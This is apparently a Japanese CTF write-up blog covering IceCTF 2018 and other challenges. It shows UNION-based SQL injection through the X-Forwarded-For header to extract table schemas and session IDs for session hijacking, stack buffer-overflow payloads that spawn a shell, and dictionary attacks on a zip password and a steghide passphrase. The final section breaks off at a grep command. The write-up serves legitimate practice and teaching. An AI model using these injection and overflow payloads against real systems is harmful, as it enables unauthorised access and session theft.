  Letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_"
  flag = "".join([
    Letters[5],
    Letters[11],
    Letters[0],
    Letters[6],
    Letters[26],
    Letters[8],
    Letters[28],
    Letters[11],
    Letters[14],
    Letters[21],
    Letters[4],
    Letters[28],
    Letters[5],
    Letters[14],
    Letters[13],
    Letters[25],
    Letters[24],
    Letters[27]
  ])
  print(flag)
$ python solve.py 
FLAG{I_LOVE_FONZY}

Flag

FLAG{I_LOVE_FONZY}

Just Another Conference (easy,50,General Information)

Points

famous Cybersecurity conference runs by OWASP in different locations

解法

OWASPによっていろんなところで開かれる有名なサイバーセキュリティのカンファレンスということで,OWASP conferenceググると一発で出てくる.

Flag

AppSec

Maria (hard,200,Web Security)

Points

Maria is the only person who can view the flag

http://35.222.174.178/maria/

解法

Mariaというユーザだけflagを閲覧できるらしい. とりあえず,アクセスしてみるとこんな画面が表示される.

レスポンスを見てみると,13行目にSQLっぽいもの(SELECT * FROM nxf8_sessions where ip_address = 'XXX.XXX.XXX.XXX')を発見(XXX.XXX.XXX.XXXには筆者宅のIPアドレスが記載されている).

HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Fri, 08 Feb 2019 18:30:45 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Set-Cookie: PHPSESSID=6fr151tpi624c0bcqh5ktvmao6; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0
Content-Length: 2141

SELECT * FROM nxf8_sessions where ip_address = 'XXX.XXX.XXX.XXX'<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
...

たぶんXXX.XXX.XXX.XXX(自宅のIPアドレス)のところを操作してSQLインジェクションするんだろうなあという目星をつける. IPアドレスの部分を偽装したいなあと考えた時に,どういう風にIPアドレスを受け取るかを調べたところ,X-Forwarded-Forというヘッダの値で受け取れるらしい.

ということで,これからX-Forwarded-Forヘッダの値を変えてリクエストしまくるので,BurpSuiteでリクエストをRepeaterで何度も送れるようにする. ※リクエストを右クリックして,画像の通りSend to Repeaterをクリックすれば,上にあるRepeaterタブがオレンジ色に光るのでRepeaterタブをクリックする.

※↓Repeaterタブ↓※

Repeaterタブが開けたら,とりあえずRequest画面にX-Forwarded-For: 8.8.8.8を追加して,GoボタンをクリックしてResponse画面をみると,ちゃんと偽装できていることがわかる. ※8.8.8.8のあと(リクエストの最終行)に2行分の改行が入っていないと,うまくリクエストを投げられないので,リクエストがなかなか返ってこないときはちゃんと2行分の改行が入っているかを確認する.

ここで,この問題の最終目標は何かを考えてみると,問題文からして,Mariaというユーザになりすまして,なんとかflagを閲覧すること,なのでひとまずデータベースからMariaというユーザの情報を探し出すことを目標とする. 現在わかっていることとしては,SELECT * FROM nxf8_sessions where ip_address = 'XXX.XXX.XXX.XXX'というSQLから,nxf8_sessionsテーブルにip_addressというカラムがあること,である.

とりあえず,nxf8_sessionsテーブルの情報を探していくために,SELECT *でいくつのカラムを参照しているのかを,UNION句で探していく. 手始めに,union 1;--としてみると,下記のように左のSELECT文とカラムの数が違うよ!というエラーが返される.

リクエスト:
    X-Forwarded-For: ' union select 1;--
実行されたSQL:
    SELECT * FROM nxf8_sessions where ip_address = '' union select 1;--'
エラー出力:
    Error : HY000 1 SELECTs to the left and right of UNION do not have the same number of result columns

ということで,エラーが出なくなるまで,1を付け足していくと,4つめでエラーが出なくなったので,nxf8_sessionsテーブルは,4つのカラムを持つということがわかった.

リクエスト:
    X-Forwarded-For: ' union select 1,1,1,1;--
実行されたSQL:
    SELECT * FROM nxf8_sessions where ip_address = '' union select 1,1,1,1;--'

ここで偶然にもPHPSESSID=の値にUNION句の最後のカラムの値がセットされることに気づいた(さっきまでdeletedだったのが,UNION句によって1になっていた). 例えば,下記のようなリクエストを送ると,下記のような値が返ってくる.

リクエスト:
    X-Forwarded-For: ' union select 1,1,1,"test";--
実行されたSQL:
    SELECT * FROM nxf8_sessions where ip_address = '' union select 1,1,1,"test";--'
PHPSESSID値:
    Set-Cookie: PHPSESSID=test; expires=Fri, 08-Feb-2019 20:08:55 GMT;

このことを利用して,UNION句のSELECT文で指定する4つめのカラムに欲しい情報を流し込むようにしていく. とりあえず,nxf8_sessionsテーブルが4つのカラムを持っていることと,任意の値を出力できること,が確認できた. また,エラー文からして今回の問題では,SQLiteを使っているようなので,sqlite_masterテーブルにテーブル情報などが格納されていることから,次のようなSQL文でnxf8_sessionテーブルの情報を一気に抜き出す.

リクエスト:
    X-Forwarded-For: ' union select 1,1,1,sql from sqlite_master where tbl_name='nxf8_sessions';--
実行されたSQL:
    SELECT * FROM nxf8_sessions where ip_address = '' union select 1,1,1,sql from sqlite_master where tbl_name='nxf8_sessions';--'
PHPSESSID値:
    PHPSESSID=CREATE+TABLE+%22nxf8_sessions%22+%28%0A++++++++++++%22id%22+int%2810%29+NOT+NULL%2C%0A++++++++++++%22user_id%22+varchar%28255%29++NOT+NULL%2C%0A++++++++++++%22ip_address%22+varchar%28255%29+NOT+NULL%2C%0A++++++++++++%22session_id%22+varchar%28255%29++NOT+NULL%0A++++++++%29; expires=Fri, 08-Feb-2019 20:12:18 GMT; Max-Age=3600

URLエンコーディングされた結果をデコードすると下記の通りとなる. このことから,ntf8_sessionsテーブルには,id,user_id,ip_address,session_idの4つのカラムが存在していることがわかった. このことを先ほどわかったことと併せると,4つめのsession_idがそのまま,PHPSESSID=の値に代入されていると予測できる.

CREATE TABLE "nxf8_sessions" (
            "id" int(10) NOT NULL,
            "user_id" varchar(255)  NOT NULL,
            "ip_address" varchar(255) NOT NULL,
            "session_id" varchar(255)  NOT NULL
        )

ntf8_sessionsテーブルのカラムがわかったので,最後に次のようなSQL文のwhere id =の部分を変えて有効なsession_idを探していく. はじめに0を入れてみると,PHPSESSID値はdeletedとなっており,有効でない.

リクエスト:
    X-Forwarded-For: ' union select 1,1,1,session_id from nxf8_sessions where id = 0;--
実行されたSQL:
    SELECT * FROM nxf8_sessions where ip_address = '' union select 1,1,1,session_id from nxf8_sessions where id = 0;--'
PHPSESSID値:
    Set-Cookie: PHPSESSID=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0

値を変えていくと,id = 1,2,3のとき,それぞれ有効なPHPSESSIDが返ってきた. そのうち,id = 2で返ってきたfd2030b53fc9a4f01e6dbe551db7ded390461968Cookieにセットしたところ,flagが得られた.

Flag

aj9dhAdf4

おわりに

まったり解けたので楽しかった. 点数配分が微妙で, 200点より100点の方が難しかった. Saudi CTFとOman CTFもOnlineで出れるなら出たい.

IceCTF2018に参加したお話

はじめに

CTFtimeでみかけたIceCTFというものに参加したので、そこで解けた問題のwriteupを書きます。

目次

Binary Exploitation

Simple Overflow

問題ページに飛ぶと下記の画像のようなページが表示されます。 左側に概要と問題文、中央にアプリケーション、右側にアプリケーションのソースコードらしきものが表示されます。

f:id:ush1ken:20180912112822p:plain

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

const char* FLAG = "<REDACTED>"

void flag() {
    printf("FLAG: %s\n", FLAG);
}

void message(char *input) {
SHOW ORIGINAL
    char buf[16] = "Hello World!Hell";


SHOW ORIGINAL
    int secret = -889275714; // 0xcafebabe
    strcpy(buf, input);

    printf("You said: %s\n", buf);

    if (secret == 0xcafebabe) {
        flag();
    } else {
        printf("The secret is 0x%x\n", secret);
    }
}

int main(int argc, char **argv) {
    if (argc > 1){
        message(argv[1]);
    } else {
        printf("Usage: ./overflow <message>\n");
    }
    return 0;
}

問題は5つあり、それぞれ下記の通りでした。 1. Hello world! In the textbox in the middle, try entering Hello World!. Observe which variable within the code takes the value.

  1. Overflow! What happens if you write more than 16 characters into the buffer? Can you make the secret change?

  2. Take control Can you make secret take the value 1633771873 (0x61616161). Note that strings are stored in ASCII, and in ASCII, character number 0x61 is a.

  3. Little endian In most architectures, integers are read in reverse byte order from memory, in a method which is called Little endian. Can you make the secret take the value 1633837924 (0x61626364)?

  4. Escape from ASCII As you may see in the code, to get past the restrictions and retrieve the flag, secret needs to have a value of 0xcafebabe. However not all these characters are in ASCII! What will you do? それぞれ下記の通り入力するとフラグが得られました。

  5. Hello World!
  6. Hello World!aaaaa
  7. Hello World!aaaaaaaa
  8. Hello World!aaaadcba
  9. Hello World!aaaa\xbe\xba\xfe\xca

5問目でブラウザだとどうエスケープすればいいのか悩んだのですが、一緒に参加していたメンバーがシンプルにエスケープして、フラグを得られました。

Cave

問題ページに飛ぶと前問と同様に下記の画像のようなページが表示されます。

f:id:ush1ken:20180912120343p:plain

ソースコードからして、前問と同様にBoF脆弱性を利用して、シェルを奪う問題のようなので、解析をします。

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

void shell() {
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    system("/bin/sh -i");
}

void message(char *input) {
    char buf[16];
    strcpy(buf, input);

    printf("The cave echoes.. %s\n", buf);
}

int main(int argc, char **argv) {
    if (argc > 1){
        message(argv[1]);
    } else {
        printf("Usage: ./shout <message>\n");
    }
    return 0;
}

この環境では普通にobjdumpreadelfgdbが使えるようなので、それらを使って解析をしました。 その結果、message関数にてstrcpy関数を読んだ直後のスタックの状態を見て見ると下記のようになっていました。 入力バッファの先頭から29バイト以降にリターンアドレスらしきものがあるので、そこをshell関数のアドレスに変更できればshell関数を呼び出すことができます。

(gdb) x/32wx 0xffffd6c0
0xffffd6c0:     0x41414141      0xffffd700      0xf7ffcd00      0x00040000
0xffffd6d0:     0x00000000      0x00000000      0xffffd6f8      0x080485c2
0xffffd6e0:     0xffffd8dc      0xffffd7a4      0xffffd7b0      0x080485a5
0xffffd6f0:     0xffffd710      0x00000000      0x00000000      0xf7e28286
0xffffd700:     0x00000002      0xf7fc3000      0x00000000      0xf7e28286
0xffffd710:     0x00000002      0xffffd7a4      0xffffd7b0      0x00000000
0xffffd720:     0x00000000      0x00000000      0xf7fc3000      0xf7ffdc0c
0xffffd730:     0xf7ffd000      0x00000000      0x00000002      0xf7fc3000

ということで、下記のようなペイロードでフラグを得られました。

[adversary ~/cave]$ ./shout `python -c 'print("A"*28+"\x0b\x85\x04\x08")'`
The cave echoes.. AAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                              �
sh-4.4$ ls
flag.txt  Makefile  shout  shout.c
sh-4.4$ cat flag.txt
IceCTF{i_dont_think_cavemen_overflowed_buffers}

Flag: IceCTF{i_dont_think_cavemen_overflowed_buffers}

Forensics

Modern Picasso

Description

Here's a rendition of some modern digital abstract art. Is it more than art though?

f:id:ush1ken:20180913140556g:plain

上のようなpicasso.gifが与えられます。 一枚一枚の画像を見ると、細かい点のようなものが少しずつうつっています。 ということで、pythonで分解して、andをとったらフラグが出てきました。

from PIL import Image, ImageSequence

if __name__ == "__main__":
  im = Image.open("picasso.gif")
  frames = (frame.copy () for frame in ImageSequence.Iterator(im))
  for i, f in enumerate(frames):
    name = 'p-{}.png'.format(i+1)
    f.save(name)
from cv2 import *

if __name__ == "__main__":
  dst = imread('p-1.png')
  for i in range(2, 68):
    im = imread('p-'+str(i)+".png")
    dst = bitwise_and(im,dst)
  imwrite('output.png', dst)

f:id:ush1ken:20180913141022p:plain

Flag: IceCTF{wow_fast}

Hard Shells

Description

After a recent hack, a laptop was seized and subsequently analyzed. The victim of the hack? An innocent mexican restaurant. During the investigation they found this suspicous file. Can you find any evidence that the owner of this laptop is the culprit?

パスワードのかかったzipが与えられるので辞書攻撃でパスワードを探します。

# fcrackzip -u -D -p rockyou.txt hardshells.zip 

PASSWORD FOUND!!!!: pw == tacos
# unzip hardshells.zip 
Archive:  hardshells.zip
   creating: hardshells/
[hardshells.zip] hardshells/d password: 
  inflating: hardshells/d 
# file hardshells/d 
hardshells/d: Minix filesystem, V1, 30 char names, 20 zones

パスワードはtacosのようです。 中を見てみるとなにやら、Minix filesystemなるものがありました。

MINIX file system -Wikipedia

The MINIX file system is the native file system of the MINIX operating system.

MINIX OSファイルシステムのようです。

# strings hardshells/d | head -10
dat~
IHDR
IDATx
vQ[m
owWO
;1t'
j{w]n
tUiz5
rI_G
&1|a

とりあえずstringsコマンドで見てみると、IHDRIDATなどの文字列が見えます。 つまり、このdというファイルはpngファイルを含んでいることがわかります。

# binwalk hardshells/d 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
60457         0xEC29          Zlib compressed data, default compression

しかし、binwalkコマンドで中を見てみても何もファイルが出てこないので、バイナリエディタでのぞいてみると、どうやらマジックナンバー89 50 4E 47ではなく、89 50 55 47になっていることが確認できます。 ということで、55の部分を4Eにしてあげて、ファイルを保存しなおし、再度binwalkコマンドでextractすると、EC00.pngが出てきます。

# binwalk --dd="png" d

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
60416         0xEC00          PNG image, 1920 x 1080, 8-bit/color RGBA, non-interlaced
60457         0xEC29          Zlib compressed data, default compression
184532        0x2D0D4         LZMA compressed data, properties: 0x76, dictionary size: 2097152 bytes, uncompressed size: 2640046703830451273 bytes
209144        0x330F8         LZMA compressed data, properties: 0x6C, dictionary size: 2097152 bytes, uncompressed size: 758602624453919817 bytes

しかしこれを開いてみても画像の上部しか表示されないため、exiftoolで情報をのぞいてみると、Warningが出ていることがわかります。

# exiftool -v EC00
  ExifToolVersion = 10.32
  FileName = EC00
  Directory = .
  FileSize = 5182464
  FileModifyDate = 1536819835
  FileAccessDate = 1536819845
  FileInodeChangeDate = 1536819835
  FilePermissions = 33188
  FileType = PNG
  FileTypeExtension = PNG
  MIMEType = image/png
PNG IHDR (13 bytes):
  + [BinaryData directory, 13 bytes]
  | ImageWidth = 1920
  | ImageHeight = 1080
  | BitDepth = 8
  | ColorType = 6
  | Compression = 0
  | Filter = 0
  | Interlace = 0
  Warning = Bad CRC for IDAT chunk
  Warning = Invalid PNG chunk size

もう一度、バイナリエディタで見てみると、1つめのIDAT chunkのlengthが0x2000バイトなのに対し、2つめのIDAT chunkまでのlengthが0x2400バイトあることに気づきました。 初めはlengthが間違えているのかと思ったのですが、間にあるバイト列をざーっと見てみると、明らかにゴミのようなバイト列が混じっており、区切りのいいところまで選択してみるとちょうど0x400バイト分ありました。

f:id:ush1ken:20180913153525p:plain

ということで、この0x400バイト分と、pngファイルの前後にあった0x00のバイト列を全て消して画像として開いたところフラグが得られました。

f:id:ush1ken:20180913153719p:plain

Flag: IceCTF{look_away_i_am_hacking}

Lost in the Forest

Description

You've rooted a notable hacker's system and you're sure that he has hidden something juicy on there. Can you find his secret?

fsというディレクトリが与えられるので、ここからフラグを探していきます。

$ ls fs/
bin   dev   home  media opt   root  sbin  sys   usr
boot  etc   lib   mnt   proc  run   srv   tmp   var

treeコマンドでディレクトリの全体を見てみると、hkrというユーザーがいることがわかりました。

$ tree -a fs/
fs/
...
├── home
│   └── hkr
│       ├── .bash_history
│       ├── .bash_logout
│       ├── .bash_profile
│       ├── .bashrc
│       ├── .profile
│       ├── .ssh
│       │   └── authorized_keys
│       ├── Desktop
│       │   └── clue.png
│       ├── Documents
│       ├── Downloads
│       ├── Music
│       ├── Pictures
│       │   ├── ngsn2dhjtM1sulnzno1_500.jpg
│       │   ├── ngw04qs2ah1r2r2hco1_500.jpg
│       │   ├── ngw06omoVx1r2r2hco1_500.jpg
...
│       │   ├── nrfh6lK0LK1t0ge0qo1_500.jpg
│       │   ├── nrgufoLBGp1uxhpyfo1_1280.jpg
│       │   └── nrjp4inobM1uvfeuho1_500.jpg
│       ├── Videos
│       └── hzpxbsklqvboyou
...

hkrユーザーのPicturesディレクトリにたくさん画像が入っていたので、そこにヒントがあるのかなあと思ったのですが特に怪しいものはありませんでした。 つぎに.bash_historyを見てみると、なにやらダウンロードしたスクリプトsecretというファイルを処理した結果をhzpxbsklqvboyouというファイルに流し込んでいました。

# cat fs/home/hkr/.bash_history
...
wget https://gist.githubusercontent.com/Glitch-is/bc49ee73e5413f3081e5bcf
5c1537e78/raw/c1f735f7eb36a20cb46b9841916d73017b5e46a3/eRkjLlksZp
...
mv eRkjLlksZp tool.py
...
./tool.py ../secret > ../hzpxbsklqvboyou
...
shred secret
...

ということで、スクリプトtool.pyとして保存して中を見ます。

# curl https://gist.githubusercontent.com/Glitch-is/bc49ee73e5413f3081e5bcf5c1537e78/raw/c1f735f7eb36a20cb46b9841916d73017b5e46a3/eRkjLlksZp > tool.py
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:-- 100   364  100   364    0     0   1923      0 --:--:-- --:--:-- --:--:--  1925
#!/usr/bin/python3
import sys
import base64

def encode(filename):
    with open(filename, "r") as f:
        s = f.readline().strip()
        return base64.b64encode((''.join([chr(ord(s[x])+([5,-1,3,-3,2,15,-6,3,9,1,-3,-5,3,-15] * 3)[x]) for x in range(len(s))])).encode('utf-8')).decode('utf-8')[::-1]*5

if __name__ == "__main__":
    print(encode(sys.argv[1]))

受け取ったファイルの中身をencode関数でエンコードして出力するスクリプトのようなので、下記のようなスクリプトを書いてデコードするとフラグが出てきました。

#!/usr/bin/python3
import sys
import base64

def decode(filename):
    with open(filename, "r") as f:
      enc = f.readline().strip()
      enc = enc[0:int(len(enc)/5)]
      s =  base64.b64decode(enc[::-1].encode('utf-8')).decode('utf-8')
      l = [chr(ord(s[x])-([5,-1,3,-3,2,15,-6,3,9,1,-3,-5,3,-15] * 3)[x])for x in range(len(s))]
      return "".join(l)

if __name__ == "__main__":
    print(decode(sys.argv[1]))
# python tool.py fs/home/hkr/hzpxbsklqvboyou 
IceCTF{good_ol_history_lesson}

Flag: IceCTF{good_ol_history_lesson}

Steganogprahy

Drumbone

Description

I joined a couple of hacking channels on IRC and I started recieving these strange messages. Someone sent me this image. Can you figure out if there's anything suspicous hidden in it?

f:id:ush1ken:20180913180933p:plain

某Elliot氏の画像が与えられるので、とりあえずStegSolveでペラペラとビット抽出をしてみます。 すると、Blueの0ビット目のみを抽出した画像で、なにやらQRコードのようなドットが浮き上がってくるので、solved.bmpとしてこの画像を保存します。

f:id:ush1ken:20180913181219p:plain

ということで下記のスクリプトで整形すると、QRコードが得られました。

from PIL import Image
if __name__ == "__main__":
  im = Image.open("solved.bmp")
  pix = im.load()
  qrcode = []
  for i in range(0,29):
    line = []
    for j in range(0,29):
      line.append('\033[48;5;255m \033[0m'*2 if sum(pix[1+6*i,1+6*j]) == 0 else ' '*2)
    print("".join(line))
  qrcode.append(line)

f:id:ush1ken:20180913182059p:plain

Flag: IceCTF{Elliot_has_been_mapping_bits_all_day}

ちなみに、Drumboneでggると、Blue Man Groupというアーティストの楽器の名前であることがわかります。 そのことから青の0ビット目を抽出すると予想するのが正攻法だったのかもしれません。

Hot or Not

DESCRIPTION

According to my friend Zuck, the first step on the path to great power is to rate the relative hotness of stuff... think Hot or Not.

ファイルサイズのデカイ、以下のような画像(配布画像のスクリーンショット)が得られます。

f:id:ush1ken:20180913183044p:plain

拡大してみると、犬とホットドッグが87×87個並んでいることがわかりました。 ここでチームメンバーの一人が、ドラマSilicon valleyNotHotDogが元ネタじゃない?と教えてくれたので、適当に画像を分割して、gitに落ちていた識別器を使って識別しました。(識別には90分ほどかかりました。)

github.com

000000010100001000000000100111111111111000111111000000000111111000000000000000000010000000100000000010000000100000111111111111000111111000000000111111000000000000010001000100000000001010100010000000000111111111111011111111100000000111111000000000000000000001000001000001100000000000000111111000001000000111000111000010111000101000000000000010000000010000000000000000000000111111000000000001111001111000000111111000000000000000001000000000100000000000000010000111111000110110101111000111001000111000000000000000010000001000001000000000010100100100000111111100111111111010111111100100000001000010000000100110000100000010100100000100100010111111000111111111110111111000000000100000010000000001000000000000000001001101010000000111111010111111111010111111000000000100001101011000010000000000001100001000001000000000111001000000111010000001000000100000010000010000000010001000000010000000000000100000000111010000000111010000100001010110100000000000000000010010010010000000000000000010000100111000001000111000100000000000001000100010000100011000000001100000000000000110010000001000111000111110111000000111010000000000010101000000000000010000000000000001001000000000011111000111010111010100111000000000010001100010000001000010000101000000000000011000000010111010111100111011100111000000000000011000100100001000000000000000100001000000000111111001111001000111111000111000111111001010000100000010100000010000000000000000000000111111000111100000111111000111000111111001110000000000000000010000000000000000000000000111111000111000001111111001111100111111000000000000000001001000000010100000100000001000111001111100111001111000111101111000111001000101001000110000000000000000000000000000010111000111011111010111010111000111000111000000000000000010000001001000000100000000000000111000111011111000111000111010111000111000000010010000000011000000000010000001100000101111000000111111010010101111000010000111010100000000000000000001000100000100000000001100111000100111111000000000111100000000111000000000000001000001000000000000000000001110000111000000111111000010000111000000000111000100001100000001100000010000000010111111111111001000010000111111000111111010000111111000111111010100000111000000000101000111111111111000001010000111111010111111100100111111000111111010001010111100000000000001111111111111101110000000111111000111111000000111111100111111001001000111000111111111111111111010001111000111111111010000000000000111111000111111010111000111000111111111111111111111101001111000111111111000001000000000111111000111111000111000111001111111111111111111111100000111101111111111000001000101100111111000111111010111000111000111000111111111100111111111001111100110111111111000010111111111000000111111000111111000111000111111111001111111111001111010011111111111001010111111111000010111111000111111011111001111111111010111111111000111100000111111111000000111111111000000111111000111111000111111111001111000000000000111111111000111111000101111000100111111111000010100000000000111111111000111000000000000111111111001111111000000111010001111111111001000000000000010111111111000111000011000000111111111000111111000011111010010111111111000000010000000000111000000111111111001111000111111010000111000111111111000000010100111001000111100000010111001110111111111001111000111111000000111010111111111001001000010111000010111010000101111000001111111111000111000111111000000111000111111111010000100000111000010111011000010111111111000010010111100100000111001111000000001111000111111000001111111111111111111000111111111001011000111000000100111000111000001000111000111111000000111111111111111111001111111111000000001111100001011111001111100000000111000111111000000111111111111111111001111000000000111111111111111000000010111000111111000111100001010100111111111001111111110111010000000111111111111111000000000111001111111000111000010000000111111111000111111011111000000100111111111111111000100000111010111111000111000000001010111111111000111111000111000111111000001111000000011111111111111111000000000000111000000111111000000111000000001010111111100000111101001000111111111111111000010000000111000010111111000100111001001001100111111101010111000010100111111111111111000000100000111000000111111100000111000001000111111111111111010111000111111111010111111111111111111111111111111100110010111011111110111111111111111000111100111111111000111111111111111111111111111111000000010111000111000111111111111111000111000111111111000111111111111111111111111111111001000000111101111000111111010000100101101100100111000111010101100111111111111111111110111111111111111000000111111000000000000010000001111001111000100000111111111111111111110111111111111111000100111111000000000000000000010111100111010010010111111111111111111000111111111111111010000000000111111111000111001111000000000111000101001000111010000111111100000000111000010111010010111111111000111001111000000000111000000000000111000001111111100000000111001010111000000111111111000111000111000000100111101000000000111010000111111000110100111000100111010001111111111000000111111111010000111111000000111011100000111000000111111111000000111101001111111111001000111111111000000111111000010111000010000111000000111111111000000111000010111111111000000111111111000000111111010001111000000000111000010111111111100000111111111000111001000111000111010111000111101000000000111111000111111111111111000100111100111111000111100100111000111000111000111000100000000111111000111111111111111000000111010111111100111001000111000111100111000111000000000011111111000111111111111111000000111000000000000001100000100000111010111111001000111000011000111000111001001101111100111010111000001000000000000000000111000111111000000111000000001111000111100100000111100111000111000010000000000100001010111000111111110000111000000000111000111000001000111000111000111010000010100000000000000111111010000111001111100111001000111111100111000111111100000111100010100000000000100000111111010100111010111000111000000111111000111000111111000000111000010001000000000000000111111000000111000111100111000000111111000111000111111100000111000000100100100001100000111111111111111111111111100111100000111000000000111111010000111000000000100010000101000111111111111111111111111000111000000111000000100111111000000111100000000010001111000001111111111111111111111111000111000001111001000100111111000000111000000001001010000100000111000111000111000111111010111111111111111111111111111111000000001000100000000000010000111000111000111001111111000111111111111111111111111111111000000000000000011010000010001111010111000111000111111000111111111111111111111111111111010000010000011000010000000000000111111000000000000000111000111111111111000111111100111111000000000001000100010000010000111111000000000000010111100111111111111001111111010111111000000000000100000000000000001111111010101000000100111001111111111111001111111100111111010110000000000100000000000000000111111111111111111111111000000111111000010000011000111111000000000000000000000001000000111111111111111111111111000000111111010000010000100111111000000000000001110000000100010111111111111111111111111100010111111000100001000000111111010000010000000000000110001000000111111111000001111000010111111000111001111111100111111000010011000010000000000100000000111111111010001111000001111111001111000111111000111111110000000000000010001010000000010111111111000001111000000111111010111111111111100111111000000000100000000100000000000000000111111111111000001111000111111111100111000001111000000000000000000000000000101000000001111111111111000000111010111111111000111000110111001000101000001000000000001000000000011111111111111000010111100111111111110111001011111000

そして、この結果をスクリプトで整形して出力するとQRコードが出てきました。

def reset_dict(n):
  cand = {}
  for i in range(n):
    cand[i] = 0
  return cand

if __name__ == "__main__":
  with open("l.txt", "r") as f:
    l = f.read()
  l = list(l[:-1])
  cand = reset_dict(29)
  qr = []
  x = y = n = 0
  for i in range(len(l)):
    x = i%3
    cand[n] += int(l[i])
    if x == 2: n += 1
    if n == 29: y += 1; n = 0
    if y == 3:
      for j in range(29):
        if cand[j] > 4: qr.append(0)
        else: qr.append(1)
      cand = reset_dict(29)
      y = 0

  x = y = 0

  b_a = [0,1,2,3,4,5,6]
  b_b = [22,23,24,25,26,27,28]
  b_c = [0,6]
  b_d = [22,28]
  b_e = [2,3,4]
  b_f = [24,25,26]

  for i in range(len(qr)):
    if x in b_a+b_b and y in b_c: qr[i] = 0
    if x in b_a and y in b_d: qr[i] = 0
    if x in b_c and y in b_a+b_b: qr[i] = 0
    if x in b_d and y in b_a: qr[i] = 0
    if x in b_e+b_f and y in b_e: qr[i] = 0
    if x in b_e and y in b_f: qr[i] = 0
    x += 1
    if x == 29: y += 1; x = 0

  ans = []
  for i in range(len(qr)):
    if qr[i] == 0: ans.append("\033[48;5;255m \033[0m"*2)
    else: ans.append("\033[48;5;0m \033[0m"*2)
    x = i+1
    if x % 29 == 0: 
      ans.append("\n")
  print("".join(ans))

f:id:ush1ken:20180913184259p:plain

Flag: IceCTF{h0td1gg1tyd0g}

Rabbit Hole

たまねぎの画像だけが与えられます。

f:id:ush1ken:20180914015345j:plain

青い空を見上げればいつもそこに白い猫を使って調査をしていると、ステガノグラフィー->ビット抽出->ビット表示スクリーンに下記のような文言が書いてありました。

[フォーマット解析情報]
タイプ:JPEG
355 x 355 (0x163 x 0x163)  24bits  14311 (0x37E7)Byte
Steghide適用可能性あり

Steghideを適用した可能性があるということなので、Steghideのパスフレーズを辞書攻撃で求めます。

github.com

# ./steg_brute.py -b -d password.lst -f rabbithole.jpg 

 [i] Searching...
 61%|##################################################################################                                                   |

 wrote extracted data to "rabbithole_flag.txt".


 [+] Information obtained with password: onion

wsqxiyhn23zdi6ia

ということで、パスワードはonionwsqxiyhn23zdi6iaという文字列がでてきました。

これがフラグかと思ったのですが、どうやら違うようでwsqxiyhn23zdi6ia.onionというディープなウェブサイトにアクセスする必要があるようです。 アクセスすると以下のようなサイトを閲覧できます。

f:id:ush1ken:20180914020435p:plain

どうやら、この緑の文字の部分に何かが隠されているようです。 ということで、ソースコードをダウンロードし、html部分を除いたものをsrcというファイルとして保存します。

最初は、この文字列はUTF-8でダブルエンコーディングされた文字列なのかなあと最後まで悩んでいたのですが、CTF終了後に聞く話によればbase65536エンコードされているとのことでした。 ということで、pip install base65536して下記のスクリプトを実行します。

import base65536
if __name__ == "__main__":
 with open("src") as f:
    s = f.read().split()[0]
 somefile = base65536.decode(s)
 with open("somefile", "wb") as f:
    f.write(somefile)
# python dec.py 
# ls
dec.py   somefile src
# file somefile 
somefile: Zip archive data, at least v1.0 to extract
# unzip somefile 
Archive:  somefile
   creating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/
  inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/titlepage.xhtml  
  inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/stylesheet.css  
  inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/cover.jpg  
   creating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/META-INF/
  inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/META-INF/container.xml  
  inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/tmp_d3791a07c3328ac61e1f9209362aeadf_yuXQg1_html_36fa3f12.png  
  inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/tmp_d3791a07c3328ac61e1f9209362aeadf_yuXQg1.ch.fixed.fc.tidied.stylehacked.xfixed_split_001.html  
  inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/tmp_d3791a07c3328ac61e1f9209362aeadf_yuXQg1_html_2213599d.png  
  inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/tmp_d3791a07c3328ac61e1f9209362aeadf_yuXQg1_html_m54ba1c00.png  
  inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/content.opf  
 extracting: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/mimetype  
  inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/toc.ncx  
  inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/tmp_d3791a07c3328ac61e1f9209362aeadf_yuXQg1_html_m5fceb080.png  
  inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/tmp_d3791a07c3328ac61e1f9209362aeadf_yuXQg1.ch.fixed.fc.tidied.stylehacked.xfixed_split_000.html 

base65536デコードしたものをファイルに出力すると、あら不思議zipファイルが出てきました。

# cd smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/
# grep -r IceCTF .
